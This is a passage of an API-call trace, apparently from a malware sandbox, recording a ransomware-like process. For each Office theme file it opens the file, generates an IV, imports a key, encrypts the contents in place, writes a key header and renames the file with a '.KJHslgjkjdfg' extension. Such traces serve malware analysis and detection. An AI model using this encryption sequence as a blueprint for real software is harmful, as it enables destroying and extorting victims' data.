SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.371] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x132b9, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x132b9, lpOverlapped=0x0) returned 1 [0220.373] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x132c0, dwBufLen=0x132c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x132c0) returned 1 [0220.374] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.374] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x132c0, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x132c0, lpOverlapped=0x0) returned 1 [0220.380] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0220.380] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x13394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.380] SetEndOfFile (hFile=0x124) returned 1 [0220.383] GetProcessHeap () returned 0x990000 [0220.383] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0220.383] GetProcessHeap () returned 0x990000 [0220.383] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0220.384] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\opulent.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Opulent.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\opulent.thmx.kjhslgjkjdfg")) returned 1 [0220.386] CloseHandle (hObject=0x124) returned 1 [0220.386] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x229a5400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x229a5400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x16ef4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Oriel.thmx", cAlternateFileName="ORIEL~1.THM")) returned 1 [0220.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\oriel.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0220.391] GetProcessHeap () returned 0x990000 [0220.391] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0220.392] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0220.392] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0220.392] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0xc, lpOverlapped=0x0) returned 1 [0220.394] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0220.394] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.394] GetProcessHeap () returned 0x990000 [0220.394] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0220.394] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30) returned 1 [0220.394] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0220.395] WriteFile (in: hFile=0x124, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df4f8*=0x30, lpOverlapped=0x0) returned 1 [0220.395] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0220.395] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0220.395] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0220.395] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0220.395] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0220.395] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0220.395] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.395] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.395] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x16ef4, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x16ef4, lpOverlapped=0x0) returned 1 [0220.397] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x16f00, dwBufLen=0x16f00 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x16f00) returned 1 [0220.399] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.399] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x16f00, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x16f00, lpOverlapped=0x0) returned 1 [0220.399] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0220.399] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x16fc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.399] SetEndOfFile (hFile=0x124) returned 1 [0220.403] GetProcessHeap () returned 0x990000 [0220.403] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0220.403] GetProcessHeap () returned 0x990000 [0220.403] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0220.403] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\oriel.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Oriel.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\oriel.thmx.kjhslgjkjdfg")) returned 1 [0220.405] CloseHandle (hObject=0x124) returned 1 [0220.405] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x262ddb00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x262ddb00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1540b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Origin.thmx", cAlternateFileName="ORIGIN~1.THM")) returned 1 [0220.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\origin.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0220.407] GetProcessHeap () returned 0x990000 [0220.407] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0220.407] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0220.407] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0220.407] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0x5, lpOverlapped=0x0) returned 1 [0220.410] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0220.410] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.410] GetProcessHeap () returned 0x990000 [0220.410] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0220.410] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0220.410] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0220.410] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0220.410] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0220.410] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0220.410] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0220.410] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0220.410] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0220.411] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0220.411] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.411] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.411] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1540b, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x1540b, lpOverlapped=0x0) returned 1 [0220.413] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x15410, dwBufLen=0x15410 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x15410) returned 1 [0220.414] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.414] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x15410, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x15410, lpOverlapped=0x0) returned 1 [0220.414] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0220.414] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x154e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.414] SetEndOfFile (hFile=0x124) returned 1 [0220.418] GetProcessHeap () returned 0x990000 [0220.418] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0220.418] GetProcessHeap () returned 0x990000 [0220.418] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0220.418] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\origin.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Origin.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\origin.thmx.kjhslgjkjdfg")) returned 1 [0220.420] CloseHandle (hObject=0x124) returned 1 [0220.420] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29c16200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c16b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x29c16200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x421e6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Paper.thmx", cAlternateFileName="PAPER~1.THM")) returned 1 [0220.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Paper.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\paper.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0220.422] GetProcessHeap () returned 0x990000 [0220.422] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0220.422] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0220.422] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0220.422] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0xa, lpOverlapped=0x0) returned 1 [0220.423] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0220.423] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.423] GetProcessHeap () returned 0x990000 [0220.423] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0220.423] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df4e0*=0x30) returned 1 [0220.424] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0220.424] WriteFile (in: hFile=0x124, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df4f8*=0x30, lpOverlapped=0x0) returned 1 [0220.424] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0220.424] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0220.424] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0220.424] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0220.424] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0220.424] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0220.424] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.424] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.424] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x421e6, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x421e6, lpOverlapped=0x0) returned 1 [0220.430] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x421f0, dwBufLen=0x421f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x421f0) returned 1 [0220.434] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.434] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x421f0, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x421f0, lpOverlapped=0x0) returned 1 [0220.435] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0220.435] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x422b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.435] SetEndOfFile (hFile=0x124) returned 1 [0220.437] GetProcessHeap () returned 0x990000 [0220.437] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0220.437] GetProcessHeap () returned 0x990000 [0220.437] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0220.437] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Paper.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\paper.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Paper.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\paper.thmx.kjhslgjkjdfg")) returned 1 [0220.439] CloseHandle (hObject=0x124) returned 1 [0220.439] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51182f00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c16b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x51182f00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd15a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Perspective.thmx", cAlternateFileName="PERSPE~1.THM")) returned 1 [0220.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Perspective.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\perspective.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0220.442] GetProcessHeap () returned 0x990000 [0220.442] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0220.442] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0220.442] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0220.442] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0x6, lpOverlapped=0x0) returned 1 [0220.445] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0220.445] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.445] GetProcessHeap () returned 0x990000 [0220.445] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0220.445] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0220.445] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0220.445] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0220.445] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0220.445] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0220.445] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0220.445] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0220.445] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0220.446] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0220.446] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.446] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.446] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xd15a, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0xd15a, lpOverlapped=0x0) returned 1 [0220.448] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0xd160, dwBufLen=0xd160 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0xd160) returned 1 [0220.448] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.448] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xd160, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0xd160, lpOverlapped=0x0) returned 1 [0220.449] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0220.449] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd234, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.449] SetEndOfFile (hFile=0x124) returned 1 [0220.450] GetProcessHeap () returned 0x990000 [0220.450] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0220.450] GetProcessHeap () returned 0x990000 